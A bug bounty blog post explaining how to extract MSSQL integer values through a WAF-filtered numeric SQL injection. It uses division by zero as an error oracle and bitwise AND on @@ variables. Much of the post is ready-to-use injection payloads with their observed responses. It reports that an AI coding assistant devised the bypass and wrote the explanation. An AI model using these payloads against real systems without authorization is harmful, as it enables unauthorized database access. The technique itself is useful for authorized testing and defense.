When the WAF Blocks Everything: SQL Injection with Only Math
Recently I came across an interesting bug bounty target where I found some nice, classic SQL injection, but none of the WAF bypasses known to me worked. So I asked Claude Code what it could do to exploit it. It turned out to be quite capable of solving this issue. However, the result was limited to some numeric value exfiltration, but it was enough to read the database version.
NOTE: Below you can see a short explanation written by Claude Code.
The Problem
You found a SQL injection but there’s a WAF blocking every useful function: SUBSTRING(), ASCII(), CHAR(), CAST(),
CONVERT(), IIF(), CASE WHEN. No conditional logic, no string functions, no type conversion.
How do you extract data?
The Setup
Imagine a backend query like this:
SELECT *
FROM items
WHERE item_id IN (USER_INPUT)
The parameter is numeric. No quotes, no string context. You control what goes inside that IN clause. The server returns:
- HTTP 200 — query ran successfully
- HTTP 500 — query caused a runtime error
You can confirm injection with basic arithmetic:
item=14808 → 200 (item exists, returns data)
item=14808-1 → 200 (14807, different results or empty)
item=14808+0 → 200 (same as 14808)
item=14808' → 500 (syntax error, injection confirmed)
Arithmetic is evaluated server-side. You have injection. But how do you turn this into data extraction?
The Oracle: Division by Zero
Every database engine crashes on division by zero. This is your oracle — a reliable way to ask the database a yes/no question.
item=14808/(1) → 200 (14808/1 = 14808, valid)
item=14808/(0) → 500 (14808/0 = runtime error)
Now generalize this. If you can place an expression in the divisor that evaluates to either 0 or 1, you have a boolean oracle:
item=14808/(expression)
expression = 0 → division by zero → HTTP 500 → FALSE
expression > 0 → valid division → HTTP 200 → TRUE
Extracting Data Bit by Bit
Step 1: Target an Integer Variable
MSSQL has system variables that return integers and don’t require parentheses:
| Variable | Returns |
|---|---|
@@SPID |
Current session process ID |
@@MICROSOFTVERSION |
Encoded server version |
@@PROCID |
Object ID of current stored procedure |
@@MAX_CONNECTIONS |
Max allowed connections |
@@LANGID |
Current language ID |
@@OPTIONS |
Current SET options bitmask |
No function calls. No parentheses. Just @@NAME. Most WAFs don’t block these.
Step 2: Extract with Bitwise AND
The bitwise AND operator (&) isolates a single bit. If bit N is 1, the result is non-zero. If bit N is 0, the result is zero.
@@SPID & 1 -- extracts bit 0 (LSB)
@@SPID/2 & 1 -- extracts bit 1
@@SPID/4 & 1 -- extracts bit 2
@@SPID/8 & 1 -- extracts bit 3
...
We use integer division (/2, /4, /8) instead of bit-shift functions to avoid parentheses. @@SPID/2 is equivalent to @@SPID >> 1 in integer math.
Step 3: Combine with the Division-by-Zero Oracle
item=14808/(@@SPID & 1) → 200 = bit 0 is 1, 500 = bit 0 is 0
item=14808/(@@SPID/2 & 1) → 200 = bit 1 is 1, 500 = bit 1 is 0
item=14808/(@@SPID/4 & 1) → 200 = bit 2 is 1, 500 = bit 2 is 0
item=14808/(@@SPID/8 & 1) → 200 = bit 3 is 1, 500 = bit 3 is 0
item=14808/(@@SPID/16 & 1) → 200 = bit 4 is 1, 500 = bit 4 is 0
item=14808/(@@SPID/32 & 1) → 200 = bit 5 is 1, 500 = bit 5 is 0
item=14808/(@@SPID/64 & 1) → 200 = bit 6 is 1, 500 = bit 6 is 0
item=14808/(@@SPID/128 & 1) → 200 = bit 7 is 1, 500 = bit 7 is 0
8 requests. 8 bits. One byte extracted.
Real Example: Extracting @@SPID = 113
Bit 0: 14808/(@@SPID & 1) → 200 → 1
Bit 1: 14808/(@@SPID/2 & 1) → 500 → 0
Bit 2: 14808/(@@SPID/4 & 1) → 500 → 0
Bit 3: 14808/(@@SPID/8 & 1) → 500 → 0
Bit 4: 14808/(@@SPID/16 & 1) → 200 → 1
Bit 5: 14808/(@@SPID/32 & 1) → 200 → 1
Bit 6: 14808/(@@SPID/64 & 1) → 200 → 1
Bit 7: 14808/(@@SPID/128 & 1) → 500 → 0
Binary: 01110001 = 113 ✓
@@SPID = 113 — a valid MSSQL session process ID.
In the same way we can extract the Server Version. @@MICROSOFTVERSION is a 32-bit integer that encodes the full SQL Server version.
Limitations
Integer-only extraction. This technique extracts integer variables directly. For strings (like @@VERSION, @@SERVERNAME, or arbitrary SELECT results), you’d normally need SUBSTRING()
and ASCII() to convert characters to integers — which a WAF may block.
This was written by LLM - remember: don’t trust AI.